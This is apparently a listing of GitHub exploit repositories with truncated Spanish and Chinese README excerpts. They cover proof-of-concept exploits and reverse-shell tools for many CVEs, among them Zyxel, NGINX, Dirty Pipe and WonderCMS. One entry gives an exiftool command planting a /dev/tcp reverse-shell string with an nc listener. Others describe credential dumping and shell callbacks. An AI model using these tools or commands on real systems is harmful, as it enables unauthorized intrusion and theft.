staystaystay

staystaystay staystaystay es un exploit de prueba de concepto para CVE-2021-1585, un problema de RCE de intermediario o punto final malicioso que afecta a Cisco ASA Device Manager ASDM. El problema fue descubierto originalmente por Malcolm Lashley y divulgado en el verano de 2021. Sin embargo, en...

CVE-2022-4510-WalkingPath

CVE-2022-4510-Binwalk Este script te permite generar exploits para apuntar a las vulnerabilidades de Binwalk CVE-2022-4510. Los exploits se pueden usar para pruebas y demostraciones. Las opciones compatibles incluyen SSH, ejecución de comandos y reverse shell. Requisitos previos Python 3.x Uso 1...

CVE-2023-41425-RCE-WonderCMS-4.3.2

🚨 Herramienta de Explotación RCE de WonderCMS CVE-2023-41425 Esta herramienta ofensiva de seguridad basada en Python automatiza la explotación de una vulnerabilidad de Ejecución Remota de Código RCE en WonderCMS 4.3.2 , específicamente CVE-2023-41425. Simplifica el proceso de crear un módulo de...

CVE-2024-7808

CVE-2024-7808 💀 $$\colorred ESTE \space EXPLOIT \space PUEDE \space VIOLAR \space LA \space LEY.$$ $$\colorred\space USTED \space ES \space RESPONSABLE \space DE \space SUS \space ACCIONES.$$ $$\colorredSOLO \space CON \space FINES \space DE \space DEMOSTRACIÓN.$$ DESCRIPCIÓN RCE por usuarios no...

victorian_machinery

维多利亚机械 维多利亚机械是 CVE-2022-30525 的概念验证漏洞利用。该漏洞是一个未经身份验证的远程命令注入漏洞，影响支持零接触配置的 Zyxel 防火墙。Zyxel 已于 2022 年 4 月 28 日推送了修复程序。已知受影响的型号包括： USG FLEX 100, 100W, 200, 500, 700 ATP 100, 200, 500, 700, 800 USG20-VPN 和 USG20w-VPN 截至撰写本文时，Shodan 上可见超过 16,000 台受影响设备。暴露管理 Web 界面 并非...

CVE-2023-24610

CVE-2023-24610 这是针对 CVE-2023-24610 的概念验证 首先，我们使用 exiftool 创建一个多语言文件： exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php 我们将文件改为 png 格式，以通过前端检查 之后，我们在 8888 端口启动一个 nc 监听器来接收 shell。 下一步是登录应用程序并点击设置 在页面底部，我们看到一个练习标志区域。我们可以通过右侧的编辑按钮上传文件 点击编辑，然后点击浏览，选择我们在第一步创建的“.png”文件 在上传之前，确保我们用...

CVE-2018-2893

本软件仅限用于学习交流禁止用于任何非法行为 起这个名字主要目的是蹭一下2893的热度，反弹shell生成器 主要作用是生成自己的外网nc监听对象，希望可以帮助到一些代码小白，2893 2628不适用需要借助第三方服务端口生成远程服务 github搬运工...

Awesome_shiro

Awesome-shiro Herramienta para la deserialización de Shirodecodificar Base64--descifrar AES--deserializar Entorno linux/win10 ambos python2/python3 ambos Debido a que hay ysoserial.jar en module, el proyecto es algo grande; disculpa las molestias. Montar el laboratorio local docker pull...

CVE-2017-9544

CVE-2017-9544 Exploit para desbordamiento de búfer basado en SEH en Easy Chat Server CVE-2017-9544 Basado en: pwntools msfvenom / reversetcp payload ropper x64dbg Aplicación vulnerable disponible en https://www.exploit-db.com/exploits/42155 Configuración Configurar IP de víctima a 192.168.15.100 ...

CVE-2026-42945-Reverse-Shell-POC

CVE-2026-42945 NGINX Rift PoC de RCE con Reverse Shell Prueba de concepto de ejecución remota de código para CVE-2026-42945 , un desbordamiento de búfer en el heap del módulo ngxhttprewritemodule de NGINX. Este fork extiende el PoC público de activación con un listener de reverse shell integrado ...

CVE-2017-17562

CVE-2017-17562 RCE en servidor web GoAhead 2.5 3.6.5 Exploit independiente de reverse shell en Python 3 para CVE-2017-17562, funciona en versiones del servidor web GoAhead 2.5 3.6.5. Blog artículo aquí. Escrito y probado en Python 3.7 basado en POC y entorno vulnerable aquí. Parte del código toma...

CVE-2022-22947

在王政代码基础上添加了，两种反弹shell，出网探测， 运行行时缺少什么模块。使用pip下载哪个模块就行了。 输入可疑的url地址，注意端口后面不要跟'/' 1.先检测是否存在漏洞 默认命令执行的是whoami，因为好多命令执行并不会回显，whoami若回显成功则存在漏洞 返回内容有root,确定存在漏洞 2.反弹shell 输入公网ip与端口 若反弹成功，此页面会卡住。 若反弹失败，会直接结束 3.测试出网， 是为了功能4准备的 默认访问百度页面 4.使用java代码反弹shell 若不能反弹shell，可能不支持/dev/tcp...

CVE-2023-26067

CVE-2023-34362 POCs para volcado de credenciales, shells inversas y reproducción de música abusando de una inyección de comandos, CVE-2023-26067, que afecta a impresoras Lexmark. Análisis Técnico Un análisis técnico de la causa raíz de la vulnerabilidad se puede encontrar en nuestro blog:...

nodejshell

NODEJSHELL - Exploit de reverse shell para deserialización en NodeJs CVE-2017-5941 El exploit genera automáticamente el payload de reverse shell que está codificado en decimal y luego en base64. Después de eso, ese payload se envía mediante una solicitud HTTP POST que serializa la entrada del...

put2win

put2win 自动化利用PUT HTTP方法获取Shell的脚本。 安装 git clone https://github.com/sysdevploit/put2win cd put2win chmod +x put2win.sh 使用 自动化利用PUT HTTP方法获取Shell的脚本。 选项： -t TARGET 目标URL/IP 例如 192.168.1.10 -p PORT 目标端口 例如 8080 -u URL PATH 保存Shell的路径 例如 /uploads -l LOCAL IP 接收Shell连接的IP 例如 192.168.1.5 -s SHELL NAME...

rsg

反向 Shell 生成器 - rsg 一款用于生成多种反向 Shell 方式的工具 使用示例 反向 Shell 参考资料 http://bernardodamele.blogspot.com.br/2011/09/reverse-shells-one-liners.html http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet...

CVE-2018-17246

CVE-2018-17246 - Kibana LFI No hay validación de entrada, por lo que podemos cambiar el nombre del archivo JavaScript a lo que queramos. En este caso, con la técnica de path traversal, podemos elegir cualquier archivo en el servidor Kibana. Sin embargo, una cosa a tener en cuenta es la...

CVE-2022-0847-Exploit-Implementation

CVE-2022-0847 - Implementación del Exploit Esta es una prueba de concepto POC que muestra cómo obtener un shell inverso de bash para ejecución arbitraria de código en una máquina remota utilizando CVE-2022-0847, "Dirty Pipe Exploit". Esta vulnerabilidad solo afecta a las versiones del kernel de...

Corsair---DLL-Planting-CVE-2023-38822

Corsair —— DLL 种植漏洞 CVE-2023-38822 Corsair iCUE v.5.3.102 中的 DLL 种植漏洞（CVE-2023-38822） 发现者：Idan Malihi 描述 Corsair iCUE v.5.3.102 中的一个问题允许本地攻击者通过 MPDC.dll、CRYPTSP.dll、dcomp.dll、profapi.dll 和 MSASN1.dll 组件执行任意代码。 复现步骤 要利用 DLL 种植漏洞，攻击者应执行以下步骤： 1. 下载 iCUE 的最新版本。 2. 安装 iCUE 产品。 3. 打开安装路径文件夹，例如 C:\Progr...

CVE-2026-3300

CVE-2026-3300 - Wordpress ⚡ Uso Simple Usa este proyecto solo en entornos seguros y autorizados, como: Máquinas virtuales locales Contenedores Docker Configuraciones de laboratorio aisladas Entornos de pruebas de penetración autorizados Configuración de ejemplo: git clone cd Project use python...